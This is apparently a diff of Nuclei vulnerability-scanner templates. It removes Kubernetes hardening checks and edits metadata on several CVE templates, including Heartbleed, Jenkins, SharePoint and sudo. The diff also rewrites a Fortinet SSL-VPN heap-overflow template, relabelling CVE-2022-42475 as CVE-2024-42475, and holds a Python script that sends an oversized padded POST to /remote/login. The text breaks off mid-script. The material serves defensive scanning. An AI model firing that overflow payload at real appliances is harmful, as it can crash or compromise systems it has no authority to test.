      - type: word
-        part: body
        words:
-          - '"name": "default"'
+          - 'default'

    extractors:
      - type: dsl
        dsl:
          - '"The default VPC network is in use in project " + projectId'
-# digest: 4a0a00473045022100dac56d5c0cf82c13d6b7d4b2556aea94ece44bd1ee3fa9dea355cfee33296539022035233a06905e636e15a23dae37054a6eef797b37db6da1a9f716fd119562de7c:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ab535503a862d00ef6624bb1eb9dcf10f41a12512e62037044333ae5d539fafc022100e5d94c98878e32663b7a4da7abe3150a742fbf9226ae4af273d4282c11353910:922c64590222798bb761d5b6d8e72950
@@ -1,70 +0,0 @@
-id: k8s-clusterrole-nodes-proxy-rce
-
-info:
-  name: ClusterRoles with Risky nodes/proxy GET Permission
-  author: princechaddha
-  severity: high
-  description: |
-    Detects Kubernetes ClusterRoles that grant GET permission on nodes/proxy resource.
-    Due to an authorization inconsistency in Kubelet, the nodes/proxy GET permission allows
-    execution of commands in any container via WebSocket connections to the Kubelet API.
-    The Kubelet authorizes based on the initial HTTP GET method of WebSocket handshake
-    rather than the actual operation (exec/run/attach) which should require CREATE permission.
-  impact: |
-    Service accounts with nodes/proxy GET permission can potentially execute commands in any
-    container if they have network access to the Kubelet API (port 10250). This bypasses
-    expected RBAC controls and audit logging.
-  remediation: |
-    Remove nodes/proxy GET permissions from ClusterRoles unless absolutely necessary.
-    Restrict network access to Kubelet port 10250 and implement network policies.
-  reference:
-    - https://grahamhelton.com/blog/nodes-proxy-rce
-  tags: cloud,devops,kubernetes,devsecops,rbac,k8s,k8s-cluster-security
-
-flow: |
-  code(1);
-  for (let role of template.items) {
-    set("role", role)
-    javascript(1);
-  }
-
-self-contained: true
-code:
-  - engine:
-      - sh
-      - bash
-    source: kubectl get clusterrole --output=json
-    extractors:
-      - type: json
-        name: items
-        internal: true
-        json:
-          - '.items[]'
-
-javascript:
-  - code: |
-        let role = JSON.parse(template.role);
-        let riskyRules = 0;
-        if (role.rules) {
-          role.rules.forEach(rule => {
-            let apiGroups = rule.apiGroups || [];
-            let resources = rule.resources || [];
-            let verbs = rule.verbs || [];
-            let isCoreApiGroup = apiGroups.includes("") || apiGroups.includes("*");
-            let hasNodesProxy = resources.includes("nodes/proxy") || resources.includes("*");
-            let hasGetVerb = verbs.includes("get") || verbs.includes("*");
-            if (isCoreApiGroup && hasNodesProxy && hasGetVerb) {
-              riskyRules++;
-            }
-          });
-        }
-        if (riskyRules > 0) {
-          let result = (`ClusterRole '${role.metadata.name}' has ${riskyRules} rule(s) granting 'nodes/proxy' GET permission in core API group, allowing potential RCE via Kubelet.`);
-          Export(result);
-        }
-
-    extractors:
-      - type: dsl
-        dsl:
-          - response
-# digest: 4a0a00473045022100cf472116d86502fb62d55139553bddb302af32a62f5d97a692534391ead1659f02207a776d50650ff39e152e39cc48109ff7963ec2db0d4ad2b03100258ea77dd32d:922c64590222798bb761d5b6d8e72950
@@ -1,45 +0,0 @@
-id: k8s-apiserver-anonymous-access
-
-info:
-  name: Ensure kube-apiserver --anonymous-auth is explicitly disabled
-  author: songyaeji
-  severity: high
-  description: Checks whether kube-apiserver explicitly sets --anonymous-auth=false in its startup arguments.
-  impact: |
-    If --anonymous-auth is not explicitly disabled, anonymous unauthenticated requests might be allowed,
-    enabling unauthenticated access to cluster resources.
-  remediation: |
-    Edit the kube-apiserver manifest (e.g., /etc/kubernetes/manifests/kube-apiserver.yaml) or startup flags
-    and ensure "--anonymous-auth=false" is present in the apiserver arguments.
-  reference:
-    - https://kubernetes.io/docs/reference/command-line-tools-reference/kube-apiserver/
-  tags: cloud,devops,kubernetes,security,devsecops,api-server,k8s,k8s-cluster-security
-
-variables:
-  argument: "--anonymous-auth=false"
-
-self-contained: true
-code:
-  - engine:
-      - sh
-      - bash
-    source: |
-      kubectl get pods -n kube-system -l component=kube-apiserver -o jsonpath="{.items[*].spec.containers[*].command}" 2>/dev/null || \
-      kubectl get pods -n kube-system -l k8s-app=kube-apiserver -o jsonpath="{.items[*].spec.containers[*].command}" 2>/dev/null || \
-      kubectl get pods -n kube-system -o jsonpath="{.items[?(@.metadata.name.indexOf('kube-apiserver')>=0)].spec.containers[*].command}" 2>/dev/null || \
-      echo ""
-    matchers-condition: and
-    matchers:
-      - type: word
-        words:
-          - 'kube-apiserver'
-      - type: word
-        words:
-          - "{{argument}}"
-        negative: true
-
-    extractors:
-      - type: dsl
-        dsl:
-          - '"kube-apiserver configuration does not explicitly set " + argument + ". This may allow anonymous access."'
-# digest: 4a0a00473045022100d0c4bd2d21dce35e0c47b2d42500b6f9db81b0b3e5c5f7c27969c09297fa84110220190d2e14c1518c8cd02de2d1b1db103825aaf277c283bf400106ca9250da7f32:922c64590222798bb761d5b6d8e72950
@@ -1,43 +0,0 @@
-id: k8s-apiserver-token-auth-file
-
-info:
-  name: Detect kube-apiserver --token-auth-file usage
-  author: songyaeji
-  severity: high
-  description: Detects whether kube-apiserver includes the --token-auth-file startup argument.
-  impact: |
-    If the API server is started with --token-auth-file, static token file authentication may be allowed, which can enable long-lived or poorly managed tokens and weaken cluster authentication posture.
-  remediation: |
-    Remove the --token-auth-file argument from the kube-apiserver startup flags (e.g., edit
-    /etc/kubernetes/manifests/kube-apiserver.yaml) or ensure any tokens in that file are rotated
-    and managed securely. Prefer dynamic, short-lived service account tokens and RBAC.
-  reference:
-    - https://kubernetes.io/docs/reference/command-line-tools-reference/kube-apiserver/
-  tags: cloud,devops,kubernetes,security,devsecops,api-server,k8s,k8s-cluster-security
-
-variables:
-  argument: "--token-auth-file"
-
-self-contained: true
-code:
-  - engine:
-      - sh
-      - bash
-    source: |
-      kubectl get pods -n kube-system -l component=kube-apiserver -o jsonpath="{.items[*].spec.containers[*].command}"
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        words:
-          - 'kube-apiserver'
-
-      - type: word
-        words:
-          - "{{argument}}"
-
-    extractors:
-      - type: dsl
-        dsl:
-          - '"kube-apiserver is configured with " + argument + ". Review and remove if unnecessary."'
-# digest: 490a004630440220406c76857bf007a985f74be4f4f7f85f7f8da773fb9d363ae9deb4995c4155b10220309ba2bba33bee584dc505e418d7ed08ab3aef4beac30fe1888fa3bccba92797:922c64590222798bb761d5b6d8e72950
@@ -1,50 +0,0 @@
-id: k8s-controller-manager-bind-address
-
-info:
-  name: Ensure kube-controller-manager --bind-address is set to localhost
-  author: songyaeji
-  severity: high
-  description: |
-    Ensure kube-controller-manager is bound to localhost (127.0.0.1 or ::1). If --bind-address is missing or
-    set to 0.0.0.0 (::), the controller-manager API may be reachable from all network interfaces, increasing
-    exposure of the control-plane component.
-  impact: |
-    If the kube-controller-manager listens on all interfaces, an attacker with network access may be able to
-    interact with the controller-manager API, causing potential information leakage or enabling further attacks
-    against the cluster.
-  remediation: |
-    Set --bind-address=127.0.0.1 (or ::1) in the kube-controller-manager startup arguments. For example, edit
-    /etc/kubernetes/manifests/kube-controller-manager.yaml and add the argument to the command section.
-  reference:
-    - https://kubernetes.io/docs/reference/command-line-tools-reference/kube-controller-manager/
-    - Cloud Vulnerability Assessment Guide(2024) by KISA
-  tags: cloud,devops,kubernetes,devsecops,kube-controller-manager,bind-address,hardening,k8s,k8s-cluster-security
-
-variables:
-  component: "kube-controller-manager"
-
-self-contained: true
-code:
-  - engine:
-      - sh
-      - bash
-    source: |
-      kubectl get pods -n kube-system -l component=kube-controller-manager -o jsonpath="{.items[*].spec.containers[*].command}"
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        words:
-          - 'kube-controller-manager'
-
-      - type: word
-        words:
-          - "--bind-address=127.0.0.1"
-          - "--bind-address=::1"
-        negative: true
-
-    extractors:
-      - type: dsl
-        dsl:
-          - '"kube-controller-manager configuration is missing --bind-address or set to unsafe value (expected: 127.0.0.1 or ::1)"'
-# digest: 490a0046304402202913db41a43350176fa630504391e5399d252294710b1bad1c50cd162a8defcb02205cb4ec1d6e05dd2b5fa493bf0668f0c0bf4fa5f521759e4f84f95927e4e465d9:922c64590222798bb761d5b6d8e72950
@@ -1,49 +0,0 @@
-id: k8s-scheduler-bind-address
-
-info:
-  name: Ensure kube-scheduler --bind-address is set to localhost
-  author: songyaeji
-  severity: high
-  description: |
-    Ensure kube-scheduler is bound to localhost (127.0.0.1 or ::1). If --bind-address is missing or set to
-    0.0.0.0 (::), the scheduler API may be reachable from all network interfaces, increasing exposure of the
-    control-plane component.
-  impact: |
-    If the kube-scheduler listens on all interfaces, an attacker with network access may be able to interact
-    with the scheduler API, causing potential information leakage or enabling further attacks against the cluster.
-  remediation: |
-    Set --bind-address=127.0.0.1 (or ::1) in the kube-scheduler startup arguments. For example, edit
-    /etc/kubernetes/manifests/kube-scheduler.yaml and add the argument to the command section.
-  reference:
-    - https://kubernetes.io/docs/reference/command-line-tools-reference/kube-scheduler/
-    - Cloud Vulnerability Assessment Guide(2024) by KISA
-  tags: cloud,devops,kubernetes,devsecops,kube-scheduler,bind-address,hardening,k8s,k8s-cluster-security
-
-variables:
-  component: "kube-scheduler"
-
-self-contained: true
-code:
-  - engine:
-      - sh
-      - bash
-    source: |
-      kubectl get pods -n kube-system -l component=kube-scheduler -o jsonpath="{.items[*].spec.containers[*].command}"
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        words:
-          - 'kube-scheduler'
-
-      - type: word
-        words:
-          - "--bind-address=127.0.0.1"
-          - "--bind-address=::1"
-        negative: true
-
-    extractors:
-      - type: dsl
-        dsl:
-          - '"kube-scheduler configuration is missing --bind-address or set to unsafe value (expected: 127.0.0.1 or ::1)"'
-# digest: 490a00463044022006a49804407d0d9b937760383c56604a16a549d8c45cb57b0ee1f8868b9e80c002204a7fb3c2364c55968c93e78151ce7a23232c10360bd6ffdc4ccd3c0c8aede23e:922c64590222798bb761d5b6d8e72950
@@ -12,7 +12,7 @@ info:
    - https://www.cisecurity.org/benchmark/ubuntu_linux
  metadata:
    verified: true
-  tags: cis,local,ssh,linux,audit,ubuntu,benchmark
+  tags: cis,ssh,linux,audit,ubuntu,benchmark

 self-contained: true

@@ -58,4 +58,4 @@ code:
        name: policy-error
        words:
          - "Policy-Error"
-# digest: 490a0046304402203ea0832a8c4b917fb2679f7ad2ab9487115c54adfcff441be71dbb40d59da13a02201683771b631252e5015bae4fbebb7762c9b6af94da44c42224e548f8e0e4e3c8:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100e49a751d372c40d34a054dbcb8f6a10f8703e5ab37531281bfe92823e9406c59022100d3e53c4e0c9add71c25452f81ce654ae390a031d123a3fbcbd75710031893ccf:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
    - https://docs.datadoghq.com/security/default_rules/def-000-fqw/
  metadata:
    verified: true
-  tags: cis,local,ssh,linux,audit,ubuntu,benchmark
+  tags: cis,ssh,linux,audit,ubuntu,benchmark

 self-contained: true

@@ -43,4 +43,4 @@ code:
        name: policy-fail
        words:
          - "Policy-Fail"
-# digest: 490a004630440220143cf5a634bf8bfdd48a2dd1285e72edce7ba02474d4c4eb3e848c2f1790093102207c2cf4247a5fe9536dde6756ef936b79aeb786b9c7311dd0461daf36f54ea233:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022013edf98f527f0171254a8ef0aafc2ac836f099ba47c7556913bc253e21a49878022072275743c7347b438d73fbc3b1b65b9498bea608ed176ab9925ba71139a92e2d:922c64590222798bb761d5b6d8e72950
@@ -6,18 +6,13 @@ info:
  severity: high
  description: |
    The Heartbleed bug allows anyone on the Internet to read the memory of the systems protected by the vulnerable versions of the OpenSSL software. This compromises the secret keys used to identify the service providers and to encrypt the traffic, the names and passwords of the users, and the actual content. This allows attackers to eavesdrop on communications, steal data directly from the services and users, and impersonate services and users.
-  remediation: |
-    Apply the latest security patches and updates from the vendor to address this vulnerability.
-  impact: |
-    Attackers can eavesdrop, steal sensitive data, impersonate services, and compromise user credentials.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/openssl/CVE-2014-0160
  metadata:
    verified: true
  classification:
-    epss-score: 0.99999
-    epss-percentile: 0.99997
-  tags: cve,cve2014,openssl,heartbleed,code,kev,vkev,vuln
+    epss-score: 0.94462
+  tags: cve,cve2014,openssl,heartbleed,code,kev

 variables:
  url: "{{RootURL}}"
@@ -111,7 +106,7 @@ code:
          # Parse the URL
          parsed_url = urlparse(url)
          host = parsed_url.hostname
-          port = parsed_url.port if parsed_url.port else 80 if parsed_url.scheme == "http" else 443
+          port = parsed_url.port if parsed_url.port else 443

          if not host:
              return
@@ -142,4 +137,4 @@ code:
      - type: dsl
        dsl:
          - "contains(response,'server is vulnerable')"
-# digest: 490a00463044022025fb32d50429e79a55671250d74099d03da47ce3216da49f1db8eab5c9ebd14402203d93330779bb4fb3553f3a283924d426ff05be56b0b7a038150bce3807037d13:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022072146a555c1e39921511dd324015ad2f19b58bef855a158d53f18bad4a3068f70221008aea99f59b94f83393eb50e906fb55a005e15f80d20d8502d4a6bbdeea861d8a:922c64590222798bb761d5b6d8e72950
@@ -6,10 +6,6 @@ info:
  severity: critical
  description: |
    Jenkins versions 2.56 and earlier as well as 2.46.1 LTS and earlier are vulnerable to an unauthenticated remote code execution. An unauthenticated remote code execution vulnerability allowed attackers to transfer a serialized Java `SignedObject` object to the Jenkins CLI, that would be deserialized using a new `ObjectInputStream`, bypassing the existing blacklist-based protection mechanism. We're fixing this issue by adding `SignedObject` to the blacklist. We're also backporting the new HTTP CLI protocol from Jenkins 2.54 to LTS 2.46.2, and deprecating the remoting-based (i.e. Java serialization) CLI protocol, disabling it by default.
-  impact: |
-    Unauthenticated attackers can execute arbitrary code through unsafe deserialization in the Jenkins CLI interface, achieving complete server compromise.
-  remediation: |
-    Upgrade Jenkins to version 2.54 or later, or LTS 2.46.1 or later that fixes the unsafe deserialization vulnerability.
  reference:
    - http://packetstormsecurity.com/files/159266/Jenkins-2.56-CLI-Deserialization-Code-Execution.html
    - https://www.exploit-db.com/exploits/41965/
@@ -19,8 +15,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2017-1000353
    cwe-id: CWE-502
-    epss-score: 0.99686
-    epss-percentile: 0.99948
+    epss-score: 0.94421
+    epss-percentile: 0.99980
    cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*
  metadata:
    vendor: jenkins
@@ -31,7 +27,7 @@ info:
      - product:"jenkins"
      - x-jenkins
    fofa-query: icon_hash=81586312
-  tags: cve,cve2017,jenkins,rce,vkev,kev,vuln
+  tags: cve,cve2017,jenkins,rce

 variables:
  OAST: "{{interactsh-url}}"
@@ -108,4 +104,4 @@ code:
        dsl:
          - 'contains(interactsh_protocol, "dns")'
        condition: and
-# digest: 4b0a004830460221008910bc02234abc45ab9b1fb4439f3ef5af5db60c5d977de5770944115be930df022100d1f71932410d529654794405ec53fb4a9c0f45414571741a73b6e03adeefc82a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221008ad7ac179e8f3a0e00ba3b55bbcd325bc227198722b23a0dbe8a67a6612064aa02205d4644f6641fec1f795b5e8798530e4fda4a73f321b2e9d982bcc104a3218ae5:922c64590222798bb761d5b6d8e72950
@@ -6,8 +6,6 @@ info:
  severity: critical
  description: |
    Microsoft SharePoint contains a remote code execution caused by failure to check the source markup of an application package, letting remote attackers execute arbitrary code, exploit requires sending malicious application package.
-  impact: |
-    Remote attackers can execute arbitrary code on the server, potentially leading to full system compromise.
  remediation: |
    Fixed in security update published Feb 12, 2019
  reference:
@@ -19,14 +17,14 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2019-0604
    cwe-id: CWE-20
-    epss-score: 0.99913
-    epss-percentile: 0.99966
+    epss-score: 0.94436
+    epss-percentile: 0.99974
  metadata:
    verified: true
    vendor: microsoft
    product: sharepoint
    shodan-query: cpe:"cpe:2.3:a:microsoft:sharepoint_server"
-  tags: cve,cve2019,sharepoint,microsoft,rce,kev,vkev,vuln
+  tags: cve,cve2019,sharepoint,microsoft,rce,kev

 variables:
  OAST: "{{interactsh-url}}"
@@ -156,4 +154,4 @@ code:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(interactsh_request, hex_encode(marker))'
        condition: and
-# digest: 4a0a00473045022100c74a382266e9dfdb3d03b6cc09a7cf9ddad7fd5c1fcc3427e624e70f2114eac7022053fa76d4023747107597a44ebb2e2530e2d8d8b913d65d7551c328c33fa2ebb1:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b4400e86f6a613a3fec15c78d78b5eaa02c765fc3cd2a0fedae2a3caf6a640f602206838f019d39312a9e53fa6c5595b7ed095cef565d8599f8a9e20273c38886bbe:922c64590222798bb761d5b6d8e72950
@@ -6,10 +6,6 @@ info:
  severity: high
  description: |
    In Sudo before 1.8.28, an attacker with access to a Runas ALL sudoer account can bypass certain policy blacklists and session PAM modules, and can cause incorrect logging, by invoking sudo with a crafted user ID. For example, this allows bypass of !root configuration, and USER= logging, for a "sudo -u \#$((0xffffffff))" command.
-  remediation: |
-    Upgrade Sudo to version 1.8.28 or later that properly handles crafted user ID values.
-  impact: |
-    Attackers can bypass privilege restrictions, potentially leading to unauthorized privilege escalation and incorrect logging.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14287
    - https://www.exploit-db.com/exploits/47502
@@ -21,15 +17,15 @@ info:
    cvss-score: 8.8
    cve-id: CVE-2019-14287
    cwe-id: CWE-755
-    epss-score: 0.63917
-    epss-percentile: 0.99118
+    epss-score: 0.84563
+    epss-percentile: 0.99279
    cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: sudo_project
    product: sudo
-  tags: packetstorm,cve,cve2019,sudo,code,linux,privesc,local,canonical,sudo_project,vuln
+  tags: packetstorm,cve,cve2019,sudo,code,linux,privesc,local,canonical,sudo_project

 self-contained: true
 code:
@@ -51,4 +47,4 @@ code:
          - '!contains(code_1_response, "root")'
          - 'contains(code_2_response, "root")'
        condition: and
-# digest: 490a00463044022058460cd361b06fc87b5cea0232247a184aff15a27d98b2e78b1d0646e458845e0220351b58f81aa66a11d7bc1f4dbc584bba45273ec327ab0e13173815c823aacf07:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402203ef02b5bc66bde9a84033a2d0eb02c7b2e73e3277c34377c90de755624be9ba6022055e7503686510f19241007aa2443ba097120831bbe89ba7526451d5f3aa95896:922c64590222798bb761d5b6d8e72950
@@ -6,10 +6,6 @@ info:
  severity: critical
  description: |
    A remote code execution vulnerability exists when the Microsoft .NET Framework fails to validate input properly, aka '.NET Framework Remote Code Execution Injection Vulnerability'.
-  remediation: |
-    Apply Microsoft security patches as described in the February 2020 SharePoint security update.
-  impact: |
-    Attackers can execute arbitrary code remotely, potentially leading to full system compromise.
  reference:
    - https://www.cve.org/CVERecord?id=CVE-2020-0646
    - https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2020-0646
@@ -19,8 +15,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2020-0646
    cwe-id: CWE-91
-    epss-score: 0.99193
-    epss-percentile: 0.99928
+    epss-score: 0.93121
+    epss-percentile: 0.99755
    cpe: cpe:2.3:a:microsoft:.net_framework:3.0:sp2:*:*:*:*:*:*
  metadata:
    verified: true
@@ -28,7 +24,7 @@ info:
    product: .net_framework
    shodan-query: 'server:"ms .net remoting"'
    max-request: 1
-  tags: cve,cve2020,net-framework,sharepoint,microsoft,packetstorm,rce,kev,oast,vkev,vuln
+  tags: cve,cve2020,net-framework,sharepoint,microsoft,packetstorm,rce,kev,oast

 variables:
  OAST: "{{interactsh-url}}"
@@ -106,4 +102,4 @@ code:
          - 'contains(content_type, "text/xml")'
          - 'status_code == 200'
        condition: and
-# digest: 4a0a00473045022100eccad2a4c6ba33214a2fd61af3419a0202206939988f5a9a463bc51109ed6c30022028f8883849768324cc702e391fff58786c28efdcac37e13a7df8d438b9f785ec:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100cb487f0bd652d387ee37c93aeff51bc10e1ee1685ed827748844380e2a1d224802202681a6f09065aa05fe76062fb4b71a801d269cccb60e095d1a1b782981fdff69:922c64590222798bb761d5b6d8e72950
@@ -6,16 +6,12 @@ info:
  severity: high
  description: |
    Apache Tomcat versions 10.0.0-M1 to 10.0.0-M6, 9.0.0.M1 to 9.0.36, 8.5.0 to 8.5.56, and 7.0.27 to 7.0.104 contain a vulnerability in the WebSocket module where the payload length of WebSocket frames is not correctly validated. This can lead to an infinite loop when processing frames with invalid payload lengths. Attackers can exploit this flaw by sending multiple malicious requests, resulting in a denial of service (DoS) on the affected Tomcat instance.
-  remediation: |
-    Upgrade Apache Tomcat to version 10.0.0-M7, 9.0.37, 8.5.57, or 7.0.105 or later that properly validates WebSocket frame payload lengths.
-  impact: |
-    Attackers can cause a denial of service by sending malicious WebSocket frames, leading to application unavailability.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2020-13935
-    epss-score: 0.87553
-    epss-percentile: 0.99733
+    epss-score: 0.92195
+    epss-percentile: 0.99681
  reference:
    - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00084.html
    - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00088.html
@@ -28,7 +24,7 @@ info:
    shodan-query: html:"Apache Tomcat"
    vendor: apache
    product: tomcat
-  tags: cve,cve2020,tomcat,websocket,dos,code,vuln
+  tags: cve,cve2020,tomcat,websocket,dos,code

 flow: http(1) && code(1,2) && code (3)

@@ -6,10 +6,6 @@ info:
  severity: high
  description: |
    Sudo before 1.9.5p2 contains an off-by-one error that can result in a heap-based buffer overflow, which allows privilege escalation to root via "sudoedit -s" and a command-line argument that ends with a single backslash character.
-  remediation: |
-    Upgrade Sudo to version 1.9.5p2 or later that fixes the heap-based buffer overflow vulnerability.
-  impact: |
-    Attackers can escalate privileges to root, potentially leading to full system compromise.
  reference:
    - https://medium.com/mii-cybersec/privilege-escalation-cve-2021-3156-new-sudo-vulnerability-4f9e84a9f435
    - https://blog.qualys.com/vulnerabilities-threat-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
@@ -21,14 +17,14 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2021-3156
    cwe-id: CWE-193
-    epss-score: 0.99305
-    epss-percentile: 0.99932
+    epss-score: 0.92263
+    epss-percentile: 0.99693
    cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: sudo_project
    product: sudo
-  tags: packetstorm,cve,cve2021,sudo,code,linux,privesc,local,kev,sudo_project,vkev,vuln
+  tags: packetstorm,cve,cve2021,sudo,code,linux,privesc,local,kev,sudo_project

 self-contained: true
 code:
@@ -44,4 +40,4 @@ code:
          - "malloc(): memory corruption"
          - "Aborted (core dumped)"
        condition: and
-# digest: 4a0a00473045022100ee4e55ec161ffc129a270143f04a42df08c773ad1dee1f17e695898c2dec4d2602204850eb20f8c6bb40413d58787b9fd0a6d535b2123b3184d1eb7eb7d51d37a6a1:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220156c4b47288c1bd2c345a71670734fd19e48ad7b8e807cf94a55943b470236ae022100b0a5f9dbc02cd24f1b8c73147526a7ad7d50553730b0ecb9325cca9c7b327c6d:922c64590222798bb761d5b6d8e72950
@@ -1,13 +1,11 @@
-id: CVE-2022-42475
+id: CVE-2024-42475

 info:
  name: Fortinet SSL-VPN - Heap-Based Buffer Overflow
-  author: 0xhaggis,pszyszkowski,pussycat0x
+  author: 0xhaggis,pszyszkowski
  severity: critical
  description: |
    A heap-based buffer overflow vulnerability [CWE-122] in FortiOS SSL-VPN (versions 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, 6.4.0 through 6.4.10, 6.2.0 through 6.2.11, 6.0.15 and earlier) and FortiProxy SSL-VPN (versions 7.2.0 through 7.2.1, 7.0.7 and earlier) may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.
-  impact: |
-    Remote attackers can execute arbitrary code or commands, potentially leading to full system compromise.
  remediation: |
    Fixed in:
    FortiOS >= 7.2.3, 7.0.9, 6.4.11, 6.2.12, 6.0.16
@@ -18,45 +16,21 @@ info:
    - https://fortiguard.com/psirt/FG-IR-22-398
    - https://labs.watchtowr.com/fortinet-no-more-funny-titles-cve-2022-42475/
    - https://bishopfox.com/blog/exploit-cve-2022-42475
-    - https://github.com/3yujw7njai/CVE-2022-42475-RCE-POC
  classification:
+    epss-score: 0.94003
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
-    cve-id: CVE-2022-42475
-    cwe-id: CWE-197,CWE-787
-    epss-score: 0.99474
-    epss-percentile: 0.99938
-    cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
+    cve-id: CVE-2024-42475
+    cwe-id: CWE-122
  metadata:
    max-request: 1
    vendor: fortinet
    product: fortios
    shodan-query:
+      - port:10443 http.favicon.hash:945408572
      - cpe:"cpe:2.3:o:fortinet:fortios"
      - http.html:"/remote/login" "xxxxxxxx"
-      - http.favicon.hash:"945408572"
-    fofa-query:
-      - body="/remote/login" "xxxxxxxx"
-      - icon_hash="945408572"
-  tags: cve,cve2022,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev,vkev,vuln
-
-flow: http () && code()
-
-http:
-  - method: GET
-    path:
-      - "{{BaseURL}}/remote/login"
-      - "{{BaseURL}}/login"
-
-    stop-at-first-match: true
-    host-redirects: true
-    matchers:
-      - type: dsl
-        internal: true
-        dsl:
-          - 'contains(body, "Launch FortiClient") || contains(body, "ftnt-fortinet-grid")'
-          - 'status_code == 200'
-        condition: and
+  tags: cve,cve2024,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev

 code:
  - engine:
@@ -64,227 +38,140 @@ code:
      - python3

    source: |
-        import sys, os, time, socket, ssl
+      import sys, os, time, socket, ssl
+      PADDING        = 0x4141414141414141
+      PADDING_LEN    = 1024*12
+      CONTENT_LENGTH = b"4294967297"

-        PADDING        = 0x4141414141414141
-        PADDING_LEN    = 1024*12
-        CONTENT_LENGTH = b"4294967297"
-
-        # Configuration for false positive prevention
-        POST_EXPLOIT_WAIT = 2       # Seconds to wait before post-exploit check
-        POST_EXPLOIT_RETRIES = 3    # Number of retries for post-exploit connectivity
-        CONNECTIVITY_TIMEOUT = 5    # Timeout for connectivity checks
-
-        class SSLVPNExploit:
-          def __init__(self, host, port):
-            self.host = host
-            self.port = port
-            self.useSSL = os.getenv("Scheme") == "https"
-
-          def create_socket(self, timeout=2.0):
-            """Create a new socket connection"""
+      class SSLVPNExploit:
+        def __init__(self, host, port):
+          self.host = host
+          self.port = port
+        def connect(self):
+          tries = 1
+          if os.getenv("Scheme") == "https":
+            useSSL = True
+            print("[+] Using SSL/TLS")
+          else:
+            useSSL = False
+            print("[+] Unencrypted connection")
+          while tries <= 6:
            try:
-              sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-              sock.settimeout(timeout)
-              if self.useSSL:
+              print("[+] Connecting to %s [ attempt %d of 6 ]                                \r" % (self.host, tries), end='\n')
+              self.cleartext_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+              if useSSL == True:
                ctx = ssl._create_unverified_context()
-                sock = ctx.wrap_socket(sock)
-              sock.connect((self.host, self.port))
-              return sock
-            except Exception as e:
-              return None
-
-          def check_connectivity(self, timeout=CONNECTIVITY_TIMEOUT):
-            """
-            Check if target is responsive with a simple GET request.
-            Returns: (success: bool, response_time: float)
-            """
-            try:
-              start_time = time.time()
-              sock = self.create_socket(timeout)
-              if sock is None:
-                return False, 0
-
-              get_req = b"GET /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode()
-              get_req += b"\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\n\r\n"
-
-              sock.sendall(get_req)
-              sock.settimeout(timeout)
-              response = sock.recv(4096)
-              elapsed = time.time() - start_time
-              sock.close()
-
-              return len(response) > 0, elapsed
-            except Exception as e:
-              return False, time.time() - start_time
-
-          def check_by_get(self):
-            """Pre-flight connectivity check"""
-            print("[>] Pre-flight connectivity check...")
-            success, elapsed = self.check_connectivity()
-            if success:
-              print(f"[+] Target is responsive (response time: {elapsed:.2f}s)")
-              return True
-            else:
-              print("[!] Target is not responsive - cannot test")
-              return None
-
-          def send_exploit_payload(self):
-            """
-            Send the exploit payload and analyze the response.
-            Returns: (result_type: str, elapsed_time: float, details: str)
-            Result types: 'PATCHED', 'TIMEOUT', 'EMPTY_RESPONSE', 'CONNECTION_DROP', 'ERROR'
-            """
-            req = bytearray(b"")
-            req += b"POST /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode()
-            req += b"\r\nContent-Length: " + CONTENT_LENGTH
-            req += b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
-            req += b"AAAAAAAA" * PADDING_LEN
-
-            try:
-              sock = self.create_socket(timeout=10)
-              if sock is None:
-                return 'ERROR', 0, 'Could not connect'
-
-              start_time = time.time()
-              sock.sendall(req)
-              sock.settimeout(10)
-              buf = sock.recv(1048576)
-              elapsed = time.time() - start_time
-              sock.close()
-
-              if len(buf) == 0:
-                return 'EMPTY_RESPONSE', elapsed, 'Empty response received'
-
-              if b"413" in buf or b"Request Entity Too Large" in buf:
-                return 'PATCHED', elapsed, 'Target returned 413 - patched'
-
